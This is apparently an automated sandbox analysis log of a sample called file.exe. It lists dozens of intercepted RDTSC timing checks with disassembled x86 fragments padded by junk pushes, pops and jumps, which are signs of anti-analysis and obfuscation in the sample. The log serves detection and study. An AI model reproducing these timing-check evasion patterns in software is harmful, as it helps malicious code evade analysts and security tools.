Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 868D35 second address: 868D60 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edi 0x00000006 push eax 0x00000007 jno 00007FC8292819EAh 0x0000000d mov eax, dword ptr [esp+04h] 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 868D60 second address: 868D64 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 868D64 second address: 868D6A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 868E94 second address: 868EDD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 jmp 00007FC82927EE85h 0x0000000a popad 0x0000000b mov dword ptr [esp], eax 0x0000000e pushad 0x0000000f mov ebx, edi 0x00000011 mov ecx, 463BF0EBh 0x00000016 popad 0x00000017 add dword ptr [ebp+122D37AFh], ecx 0x0000001d lea eax, dword ptr [ebp+1247D7FAh] 0x00000023 mov ecx, dword ptr [ebp+122D3A0Bh] 0x00000029 nop 0x0000002a je 00007FC82927EE7Ah 0x00000030 push edi 0x00000031 pushad 0x00000032 popad 0x00000033 pop edi 0x00000034 push eax 0x00000035 push ecx 0x00000036 pushad 0x00000037 push eax 0x00000038 push edx 0x00000039 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A50E6 second address: 8A50EC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A5286 second address: 8A5290 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jc 00007FC82927EE76h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A542B second address: 8A5457 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC8292819E8h 0x00000007 jng 00007FC8292819D6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f jng 00007FC8292819DEh 0x00000015 pushad 0x00000016 popad 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A5605 second address: 8A5609 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A5767 second address: 8A576D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A8092 second address: 8A80D8 instructions: 0x00000000 rdtsc 0x00000002 js 00007FC82927EE76h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b je 00007FC82927EE76h 0x00000011 jo 00007FC82927EE76h 0x00000017 push edi 0x00000018 pop edi 0x00000019 popad 0x0000001a jmp 00007FC82927EE7Fh 0x0000001f popad 0x00000020 pushad 0x00000021 pushad 0x00000022 jns 00007FC82927EE76h 0x00000028 pushad 0x00000029 popad 0x0000002a push ecx 0x0000002b pop ecx 0x0000002c popad 0x0000002d pushad 0x0000002e js 00007FC82927EE76h 0x00000034 jns 00007FC82927EE76h 0x0000003a push eax 0x0000003b push edx 0x0000003c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 82A8CA second address: 82A8D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8AFEBD second address: 8AFEC3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8AFEC3 second address: 8AFEC9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8AFEC9 second address: 8AFEF2 instructions: 0x00000000 rdtsc 0x00000002 js 00007FC82927EE76h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push ebx 0x0000000b jc 00007FC82927EE76h 0x00000011 pushad 0x00000012 popad 0x00000013 pop ebx 0x00000014 pop edx 0x00000015 pop eax 0x00000016 pushad 0x00000017 jmp 00007FC82927EE7Ah 0x0000001c push eax 0x0000001d push edx 0x0000001e jo 00007FC82927EE76h 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B0073 second address: 8B0085 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a jl 00007FC8292819D6h 0x00000010 push edx 0x00000011 pop edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B0517 second address: 8B051D instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B051D second address: 8B053D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FC8292819DFh 0x00000009 jmp 00007FC8292819DDh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B06D9 second address: 8B06E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FC82927EE7Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B0A1D second address: 8B0A2C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FC8292819DBh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B0A2C second address: 8B0A30 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B0A30 second address: 8B0A6E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jp 00007FC8292819DEh 0x0000000f jmp 00007FC8292819E9h 0x00000014 jnp 00007FC8292819E2h 0x0000001a jng 00007FC8292819D6h 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B0D4A second address: 8B0D59 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC82927EE7Bh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B0D59 second address: 8B0D6E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jnc 00007FC8292819DCh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B0D6E second address: 8B0D78 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 pop ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B0D78 second address: 8B0D7C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B0EE4 second address: 8B0EE9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8AFBAC second address: 8AFBB0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8AFBB0 second address: 8AFBB4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8AFBB4 second address: 8AFBBA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B4A0C second address: 8B4A1E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FC82927EE7Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B4779 second address: 8B477D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B477D second address: 8B4789 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B4789 second address: 8B478D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B790A second address: 8B7910 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C0DAA second address: 8C0DB4 instructions: 0x00000000 rdtsc 0x00000002 jp 00007FC8292819D6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C0DB4 second address: 8C0DBA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C0DBA second address: 8C0DC2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C0DC2 second address: 8C0DC6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 823DE8 second address: 823DF2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 js 00007FC8292819D6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 823DF2 second address: 823DF6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 823DF6 second address: 823E14 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a jmp 00007FC8292819E4h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 823E14 second address: 823E18 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8BFA27 second address: 8BFA41 instructions: 0x00000000 rdtsc 0x00000002 jp 00007FC8292819D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007FC8292819E0h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8BFA41 second address: 8BFA52 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FC82927EE7Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8BFBA0 second address: 8BFBA4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8BFD63 second address: 8BFD94 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC82927EE7Ah 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FC82927EE89h 0x00000012 je 00007FC82927EE76h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8BFD94 second address: 8BFD9A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8687B7 second address: 8687D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FC82927EE88h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8BFEE0 second address: 8BFEF0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8BFEF0 second address: 8BFEF4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C007C second address: 8C0093 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC8292819DEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C0093 second address: 8C00BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FC82927EE82h 0x00000009 pushad 0x0000000a popad 0x0000000b jp 00007FC82927EE76h 0x00000011 popad 0x00000012 pushad 0x00000013 jo 00007FC82927EE76h 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C00BB second address: 8C00CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 jmp 00007FC8292819DBh 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8313BE second address: 8313C2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8313C2 second address: 831404 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FC8292819E5h 0x0000000b pushad 0x0000000c jmp 00007FC8292819E7h 0x00000011 jmp 00007FC8292819DDh 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C4520 second address: 8C4524 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C4524 second address: 8C4539 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 jmp 00007FC8292819DDh 0x0000000c pop ecx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C4539 second address: 8C453F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C46AC second address: 8C46BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 jno 00007FC8292819D6h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C46BB second address: 8C46BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C79A0 second address: 8C79A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C79A4 second address: 8C79E2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC82927EE84h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c jmp 00007FC82927EE87h 0x00000011 pushad 0x00000012 popad 0x00000013 popad 0x00000014 pop ecx 0x00000015 push ebx 0x00000016 push eax 0x00000017 pushad 0x00000018 popad 0x00000019 pop eax 0x0000001a pushad 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C7B08 second address: 8C7B1B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007FC8292819D6h 0x0000000a popad 0x0000000b jnl 00007FC8292819DCh 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C7B1B second address: 8C7B30 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 js 00007FC82927EE76h 0x0000000f ja 00007FC82927EE76h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C7B30 second address: 8C7B41 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC8292819DDh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C7B41 second address: 8C7B5B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FC82927EE84h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C7B5B second address: 8C7B75 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 jmp 00007FC8292819E4h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D0C1E second address: 8D0C23 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D0EED second address: 8D0EF3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D0EF3 second address: 8D0F1B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC82927EE87h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jp 00007FC82927EE76h 0x00000014 push ecx 0x00000015 pop ecx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D0F1B second address: 8D0F2D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebx 0x00000009 pushad 0x0000000a popad 0x0000000b jc 00007FC8292819D6h 0x00000011 pop ebx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D19AC second address: 8D19B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D224F second address: 8D2253 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D2758 second address: 8D275C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D275C second address: 8D279E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b push esi 0x0000000c pop esi 0x0000000d jne 00007FC8292819D6h 0x00000013 popad 0x00000014 pushad 0x00000015 jmp 00007FC8292819E6h 0x0000001a jmp 00007FC8292819DDh 0x0000001f push ebx 0x00000020 pop ebx 0x00000021 popad 0x00000022 popad 0x00000023 pushad 0x00000024 pushad 0x00000025 pushad 0x00000026 popad 0x00000027 push eax 0x00000028 push edx 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D279E second address: 8D27A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D6F71 second address: 8D6F75 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D7082 second address: 8D70B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FC82927EE82h 0x0000000c jmp 00007FC82927EE85h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D70B0 second address: 8D70BA instructions: 0x00000000 rdtsc 0x00000002 jne 00007FC8292819D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D70BA second address: 8D70C0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D70C0 second address: 8D70D4 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FC8292819D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 push ebx 0x00000013 pop ebx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D70D4 second address: 8D70DE instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FC82927EE76h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D7220 second address: 8D7226 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D73C6 second address: 8D73CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D73CE second address: 8D73EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FC8292819DDh 0x00000009 push esi 0x0000000a pop esi 0x0000000b push edi 0x0000000c pop edi 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 push ebx 0x00000011 pushad 0x00000012 popad 0x00000013 pop ebx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8DC957 second address: 8DC96E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 je 00007FC82927EE76h 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 jno 00007FC82927EE76h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E3FF6 second address: 8E4004 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 pushad 0x00000006 popad 0x00000007 push eax 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E4004 second address: 8E400A instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E4468 second address: 8E4476 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop esi 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c push esi 0x0000000d pop esi 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E4606 second address: 8E461D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007FC82927EE81h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E461D second address: 8E4621 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E4621 second address: 8E4627 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E488F second address: 8E4899 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E49C5 second address: 8E49C9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E49C9 second address: 8E49CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E4B32 second address: 8E4B36 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
